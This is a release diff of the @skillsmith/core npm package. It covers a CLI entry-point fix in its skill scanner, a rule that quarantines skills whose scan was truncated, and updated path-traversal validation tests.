@skillsmith/core 0.12.1 → 0.12.3

package/dist/src/scripts/skill-scanner/index.d.ts

@@ -26,4 +26,12 @@ export * from './file-scanner.js';
 export * from './logger.js';
 export * from './reporter.js';
 export { scanImportedSkills, DEFAULT_CONFIG, DEFAULT_CLI_OPTIONS } from './scanner.js';
+/**
+ * CLI entry point
+ *
+ * Exported (SMI-6464) so callers — including the scan-imported-skills.ts
+ * backwards-compat shim — can invoke the CLI explicitly instead of relying
+ * on this module's own module-load-time side effect below.
+ */
+export declare function main(): Promise<void>;
 //# sourceMappingURL=index.d.ts.map

package/dist/src/scripts/skill-scanner/index.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../../src/scripts/skill-scanner/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AAMH,cAAc,YAAY,CAAA;AAC1B,cAAc,kBAAkB,CAAA;AAChC,cAAc,mBAAmB,CAAA;AACjC,cAAc,mBAAmB,CAAA;AACjC,cAAc,aAAa,CAAA;AAC3B,cAAc,eAAe,CAAA;AAC7B,OAAO,EAAE,kBAAkB,EAAE,cAAc,EAAE,mBAAmB,EAAE,MAAM,cAAc,CAAA"}
+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../../src/scripts/skill-scanner/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AAMH,cAAc,YAAY,CAAA;AAC1B,cAAc,kBAAkB,CAAA;AAChC,cAAc,mBAAmB,CAAA;AACjC,cAAc,mBAAmB,CAAA;AACjC,cAAc,aAAa,CAAA;AAC3B,cAAc,eAAe,CAAA;AAC7B,OAAO,EAAE,kBAAkB,EAAE,cAAc,EAAE,mBAAmB,EAAE,MAAM,cAAc,CAAA;AA8EtF;;;;;;GAMG;AACH,wBAAsB,IAAI,IAAI,OAAO,CAAC,IAAI,CAAC,CAoB1C"}

package/dist/src/scripts/skill-scanner/index.js

@@ -106,8 +106,12 @@ Output Files:
 }
 /**
  * CLI entry point
+ *
+ * Exported (SMI-6464) so callers — including the scan-imported-skills.ts
+ * backwards-compat shim — can invoke the CLI explicitly instead of relying
+ * on this module's own module-load-time side effect below.
  */
-async function main() {
+export async function main() {
     const args = process.argv.slice(2);
     const { options, inputPath } = parseArgs(args);
     try {
@@ -127,8 +131,12 @@ async function main() {
         process.exit(1);
     }
 }
-main().catch((error) => {
-    console.error('Unhandled error:', error);
-    process.exit(1);
-});
+// Run if executed directly (SMI-6464: previously ran unconditionally at
+// module load, so importing this file for its exports also ran the CLI)
+if (import.meta.url === `file://${process.argv[1]}`) {
+    main().catch((error) => {
+        console.error('Fatal error:', error);
+        process.exit(1);
+    });
+}
 //# sourceMappingURL=index.js.map

package/dist/src/scripts/skill-scanner/index.js.map

@@ -1 +1 @@
-{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../../src/scripts/skill-scanner/index.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../../src/scripts/skill-scanner/index.ts"],"names":[],"mappings":"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"}

package/dist/src/scripts/skill-scanner/trust-scorer.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"trust-scorer.d.ts","sourceRoot":"","sources":["../../../../src/scripts/skill-scanner/trust-scorer.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,yBAAyB,CAAA;AAEzD,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,YAAY,CAAA;AAElD;;GAEG;AACH,MAAM,WAAW,iBAAiB;IAChC,8EAA8E;IAC9E,mBAAmB,EAAE,MAAM,CAAA;CAC5B;AAED,yCAAyC;AACzC,eAAO,MAAM,oBAAoB,EAAE,iBAElC,CAAA;AAED;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AACH,wBAAgB,gBAAgB,CAC9B,MAAM,EAAE,UAAU,EAClB,MAAM,GAAE,iBAAwC,EAChD,SAAS,CAAC,EAAE,gBAAgB,GAC3B,OAAO,CAWT;AAED;;;;;GAKG;AACH,wBAAgB,yBAAyB,CAAC,OAAO,EAAE,KAAK,CAAC;IAAE,UAAU,EAAE,UAAU,CAAA;CAAE,CAAC,GAAG,MAAM,CAM5F;AAED;;;;;GAKG;AACH,wBAAgB,qBAAqB,CAAC,OAAO,EAAE,KAAK,CAAC;IAAE,UAAU,EAAE,UAAU,CAAA;CAAE,CAAC,GAAG,MAAM,CAGxF;AAED;;;;;GAKG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,EAAE,KAAK,CAAC;IAAE,aAAa,EAAE,OAAO,CAAA;CAAE,CAAC,GAAG;IAC5E,MAAM,EAAE,MAAM,CAAA;IACd,WAAW,EAAE,MAAM,CAAA;CACpB,CAKA"}
+{"version":3,"file":"trust-scorer.d.ts","sourceRoot":"","sources":["../../../../src/scripts/skill-scanner/trust-scorer.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,yBAAyB,CAAA;AAEzD,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,YAAY,CAAA;AAElD;;GAEG;AACH,MAAM,WAAW,iBAAiB;IAChC,8EAA8E;IAC9E,mBAAmB,EAAE,MAAM,CAAA;CAC5B;AAED,yCAAyC;AACzC,eAAO,MAAM,oBAAoB,EAAE,iBAElC,CAAA;AAED;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AACH,wBAAgB,gBAAgB,CAC9B,MAAM,EAAE,UAAU,EAClB,MAAM,GAAE,iBAAwC,EAChD,SAAS,CAAC,EAAE,gBAAgB,GAC3B,OAAO,CAkBT;AAED;;;;;GAKG;AACH,wBAAgB,yBAAyB,CAAC,OAAO,EAAE,KAAK,CAAC;IAAE,UAAU,EAAE,UAAU,CAAA;CAAE,CAAC,GAAG,MAAM,CAM5F;AAED;;;;;GAKG;AACH,wBAAgB,qBAAqB,CAAC,OAAO,EAAE,KAAK,CAAC;IAAE,UAAU,EAAE,UAAU,CAAA;CAAE,CAAC,GAAG,MAAM,CAGxF;AAED;;;;;GAKG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,EAAE,KAAK,CAAC;IAAE,aAAa,EAAE,OAAO,CAAA;CAAE,CAAC,GAAG;IAC5E,MAAM,EAAE,MAAM,CAAA;IACd,WAAW,EAAE,MAAM,CAAA;CACpB,CAKA"}

package/dist/src/scripts/skill-scanner/trust-scorer.js

@@ -34,6 +34,12 @@ export const DEFAULT_TRUST_CONFIG = {
  * @returns true if the skill should be quarantined
  */
 export function shouldQuarantine(report, config = DEFAULT_TRUST_CONFIG, allowlist) {
+    // SMI-6020 (design §3.3.6/§2.8): a truncated scan is a known under-count. An
+    // allowlist must not be able to clear a scan-integrity hold, so this check
+    // precedes the allowlist filter entirely.
+    if (report.multilineTruncated === true) {
+        return true;
+    }
     const effectiveFindings = allowlist
         ? report.findings.filter((f) => !allowlist.isAllowed(report.skillId, f))
         : report.findings;

package/dist/src/scripts/skill-scanner/trust-scorer.js.map

@@ -1 +1 @@
-{"version":3,"file":"trust-scorer.js","sourceRoot":"","sources":["../../../../src/scripts/skill-scanner/trust-scorer.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAGH,OAAO,EAAE,kBAAkB,EAAE,MAAM,sDAAsD,CAAA;AAWzF,yCAAyC;AACzC,MAAM,CAAC,MAAM,oBAAoB,GAAsB;IACrD,mBAAmB,EAAE,EAAE;CACxB,CAAA;AAED;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AACH,MAAM,UAAU,gBAAgB,CAC9B,MAAkB,EAClB,SAA4B,oBAAoB,EAChD,SAA4B;IAE5B,MAAM,iBAAiB,GAAG,SAAS;QACjC,CAAC,CAAC,MAAM,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,SAAS,CAAC,SAAS,CAAC,MAAM,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;QACxE,CAAC,CAAC,MAAM,CAAC,QAAQ,CAAA;IAEnB,IAAI,iBAAiB,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,KAAK,UAAU,IAAI,CAAC,CAAC,QAAQ,KAAK,MAAM,CAAC,EAAE,CAAC;QACtF,OAAO,IAAI,CAAA;IACb,CAAC;IAED,MAAM,aAAa,GAAG,kBAAkB,CAAC,iBAAiB,CAAC,CAAC,KAAK,CAAA;IACjE,OAAO,aAAa,IAAI,MAAM,CAAC,mBAAmB,CAAA;AACpD,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,yBAAyB,CAAC,OAA0C;IAClF,MAAM,KAAK,GAAG,OAAO,CAAC,MAAM,CAAA;IAC5B,IAAI,KAAK,KAAK,CAAC;QAAE,OAAO,CAAC,CAAA;IAEzB,MAAM,GAAG,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,GAAG,EAAE,CAAC,EAAE,EAAE,CAAC,GAAG,GAAG,CAAC,CAAC,UAAU,CAAC,SAAS,EAAE,CAAC,CAAC,CAAA;IACvE,OAAO,GAAG,GAAG,KAAK,CAAA;AACpB,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,qBAAqB,CAAC,OAA0C;IAC9E,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO,CAAC,CAAA;IAClC,OAAO,IAAI,CAAC,GAAG,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,UAAU,CAAC,SAAS,CAAC,CAAC,CAAA;AAChE,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,gBAAgB,CAAC,OAA0C;IAIzE,MAAM,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,aAAa,CAAC,CAAC,MAAM,CAAA;IAC7D,MAAM,WAAW,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,aAAa,CAAC,CAAC,MAAM,CAAA;IAEjE,OAAO,EAAE,MAAM,EAAE,WAAW,EAAE,CAAA;AAChC,CAAC"}
+{"version":3,"file":"trust-scorer.js","sourceRoot":"","sources":["../../../../src/scripts/skill-scanner/trust-scorer.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAGH,OAAO,EAAE,kBAAkB,EAAE,MAAM,sDAAsD,CAAA;AAWzF,yCAAyC;AACzC,MAAM,CAAC,MAAM,oBAAoB,GAAsB;IACrD,mBAAmB,EAAE,EAAE;CACxB,CAAA;AAED;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AACH,MAAM,UAAU,gBAAgB,CAC9B,MAAkB,EAClB,SAA4B,oBAAoB,EAChD,SAA4B;IAE5B,6EAA6E;IAC7E,2EAA2E;IAC3E,0CAA0C;IAC1C,IAAI,MAAM,CAAC,kBAAkB,KAAK,IAAI,EAAE,CAAC;QACvC,OAAO,IAAI,CAAA;IACb,CAAC;IAED,MAAM,iBAAiB,GAAG,SAAS;QACjC,CAAC,CAAC,MAAM,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,SAAS,CAAC,SAAS,CAAC,MAAM,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;QACxE,CAAC,CAAC,MAAM,CAAC,QAAQ,CAAA;IAEnB,IAAI,iBAAiB,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,QAAQ,KAAK,UAAU,IAAI,CAAC,CAAC,QAAQ,KAAK,MAAM,CAAC,EAAE,CAAC;QACtF,OAAO,IAAI,CAAA;IACb,CAAC;IAED,MAAM,aAAa,GAAG,kBAAkB,CAAC,iBAAiB,CAAC,CAAC,KAAK,CAAA;IACjE,OAAO,aAAa,IAAI,MAAM,CAAC,mBAAmB,CAAA;AACpD,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,yBAAyB,CAAC,OAA0C;IAClF,MAAM,KAAK,GAAG,OAAO,CAAC,MAAM,CAAA;IAC5B,IAAI,KAAK,KAAK,CAAC;QAAE,OAAO,CAAC,CAAA;IAEzB,MAAM,GAAG,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,GAAG,EAAE,CAAC,EAAE,EAAE,CAAC,GAAG,GAAG,CAAC,CAAC,UAAU,CAAC,SAAS,EAAE,CAAC,CAAC,CAAA;IACvE,OAAO,GAAG,GAAG,KAAK,CAAA;AACpB,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,qBAAqB,CAAC,OAA0C;IAC9E,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO,CAAC,CAAA;IAClC,OAAO,IAAI,CAAC,GAAG,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,UAAU,CAAC,SAAS,CAAC,CAAC,CAAA;AAChE,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,gBAAgB,CAAC,OAA0C;IAIzE,MAAM,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,aAAa,CAAC,CAAC,MAAM,CAAA;IAC7D,MAAM,WAAW,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,aAAa,CAAC,CAAC,MAAM,CAAA;IAEjE,OAAO,EAAE,MAAM,EAAE,WAAW,EAAE,CAAA;AAChC,CAAC"}

package/dist/src/security/__tests__/pathValidation.test.js

@@ -101,7 +101,36 @@ describe('SMI-898: Path Traversal Protection', () => {
                 expect(result.error).toContain('outside allowed');
             });
             it('should reject paths in home but outside allowed subdirs', () => {
-                const result = validateDbPath(resolve(homeDir, 'Documents/secret.db'));
+                // SMI-6343: `vitest.setup.ts` now sandboxes $HOME into `os.tmpdir()`,
+                // and `validateDbPath` deliberately allows the temp tree
+                // (`allowTempDir`, default true). A `homedir()`-derived path is
+                // therefore no longer a valid fixture for "inside home, outside the
+                // allowed subdirs" — it would be accepted by the temp carve-out, not
+                // by the rule under test. Pin the home root explicitly so this
+                // exercises the allowedDirs prefix match regardless of where $HOME
+                // happens to point. Production behaviour is unchanged.
+                const isolatedHome = '/nonexistent-home/testuser';
+                const result = validateDbPath(resolve(isolatedHome, 'Documents/secret.db'), {
+                    allowedDirs: [resolve(isolatedHome, '.skillsmith'), resolve(isolatedHome, '.claude')],
+                });
+                expect(result.valid).toBe(false);
+                expect(result.error).toContain('outside allowed');
+            });
+            it('should reject paths in home but outside allowed subdirs — DEFAULT allowedDirs, sandbox carve-out disabled', () => {
+                // Adversarial-review follow-up (SMI-6343): the case above pins its own
+                // allowedDirs, so it no longer exercises DEFAULT_ALLOWED_DIRS (the
+                // production default, derived from the CURRENT os.homedir() — which
+                // under vitest.setup.ts's sandbox is a temp directory). This case
+                // restores that coverage by passing `allowTempDir: false`, which
+                // removes the confounding carve-out that made the original
+                // homedir()-derived fixture pass for the wrong reason, while still
+                // exercising the real, unmocked default allowlist against whatever
+                // home is currently in effect (sandboxed under vitest, real
+                // otherwise) — proving the actual production default rejects a path
+                // that's under home but outside `.skillsmith`/`.claude`.
+                const result = validateDbPath(resolve(homeDir, 'Documents/secret.db'), {
+                    allowTempDir: false,
+                });
                 expect(result.valid).toBe(false);
                 expect(result.error).toContain('outside allowed');
             });

package/dist/src/security/__tests__/pathValidation.test.js.map

@@ -1 +1 @@
-{"version":3,"file":"pathValidation.test.js","sourceRoot":"","sources":["../../../../src/security/__tests__/pathValidation.test.ts"],"names":[],"mappings":"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